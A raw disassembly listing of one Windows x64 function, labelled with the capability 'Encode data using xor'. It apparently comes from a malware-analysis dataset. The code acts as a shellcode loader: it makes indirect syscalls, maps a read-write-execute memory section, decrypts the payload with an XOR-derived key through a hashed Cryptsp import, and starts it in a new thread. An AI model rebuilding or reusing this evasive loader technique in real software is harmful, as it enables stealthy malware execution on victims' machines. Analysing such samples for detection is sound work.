Function at 0x140001710
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
xor ebx, ebx
mov r14, r8
mov r15, rcx
mov qword [rbp - 0x19], rbx
movzx ecx, word [0x14001c34c]
mov edi, r9d
mov qword [rbp + 7], rbx
mov rsi, rdx
mov qword [rbp + 0x77], rbx
mov qword [rbp - 1], rbx
mov qword [rbp - 9], rbx
mov dword [rbp - 0x11], r14d
mov dword [rbp - 0xd], ebx
call fcn.140001eb0
mov qword [rsp + 0x30], rbx
lea r9, [rbp - 0x11]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rbp - 0x19]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call fcn.140001ec1
test eax, eax
jne 0x1400019aa
movzx ecx, word [0x14001c35c]
call fcn.140001eb0
mov eax, 0x40
lea r8, [rbp + 0x77]
mov ecx, 4
lea rdx, [rbx - 1]
test edi, edi
cmove eax, ecx
mov rcx, qword [rbp - 0x19]
mov dword [rsp + 0x48], eax
xor r9d, r9d
mov qword [rsp + 0x40], rbx
lea rax, [rbp - 9]
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call fcn.140001ec1
test eax, eax
jne 0x1400019aa
mov rcx, qword [rbp + 0x77]
mov r8, r14
mov rdx, rsi
call fcn.140001e50
test edi, edi
jne 0x14000185e
movzx ecx, word [0x14001c35c]
call fcn.140001eb0
mov rcx, qword [rbp - 0x19]
lea rax, [rbp - 9]
mov dword [rsp + 0x48], 0x40
lea r8, [rbp - 1]
mov qword [rsp + 0x40], rbx
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov rdx, r15
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call fcn.140001ec1
test eax, eax
jne 0x1400019aa
mov rdi, qword [rbp - 1]
mov r9, qword [rbp + 0x77]
jmp 0x140001865
mov r9, qword [rbp + 0x77]
mov rdi, r9
movzx edx, byte [section..data]
xorps xmm0, xmm0
mov ecx, ebx
movups xmmword [rbp + 0x2f], xmm0
cmp edx, 0xfa
je 0x14000188d
nop dword [rax]
inc ecx
mov eax, edx
xor eax, ecx
cmp eax, 0xfa
jne 0x140001880
mov edx, ebx
lea r10, section..data
mov r8, rbx
nop dword [rax]
movzx eax, cl
xor al, byte [r8 + r10]
lea r8, [r8 + 1]
sub al, dl
inc edx
mov byte [rbp + r8 + 0x2e], al
cmp edx, 0x10
jl 0x1400018a0
lea rax, [rbp + 0x2f]
mov dword [rbp + 0xf], 0x10
lea rcx, str.Cryptsp
mov qword [rbp + 0x17], rax
mov dword [rbp + 0x13], 0x10
mov dword [rbp + 0x1f], r14d
mov dword [rbp + 0x23], r14d
mov qword [rbp + 0x27], r9
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov edx, 0x8cfd40a8
call fcn.1400010d0
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 0x1f]
call rax
test eax, eax
jne 0x1400019aa
movzx ecx, word [0x14001c38c]
call fcn.140001eb0
mov qword [rsp + 0x50], rbx
lea rcx, [rbp + 7]
mov qword [rsp + 0x48], rbx
mov r9, r15
mov qword [rsp + 0x40], rbx
xor r8d, r8d
mov qword [rsp + 0x38], rbx
mov edx, 0x1fffff
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
call fcn.140001ec1
test eax, eax
jne 0x1400019aa
movzx ecx, word [0x14001c39c]
call fcn.140001eb0
mov rcx, qword [rbp + 7]
xor r8d, r8d
xor edx, edx
call fcn.140001ec1
test eax, eax
jne 0x1400019aa
movzx ecx, word [0x14001c36c]
call fcn.140001eb0
mov rdx, qword [rbp + 0x77]
mov rcx, 0xffffffffffffffff
call fcn.140001ec1
test eax, eax
jne 0x1400019aa
movzx ecx, word [0x14001c37c]
call fcn.140001eb0
mov rcx, qword [rbp - 0x19]
call fcn.140001ec1
test eax, eax
sete bl
mov eax, ebx
jmp 0x1400019ac
xor eax, eax
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret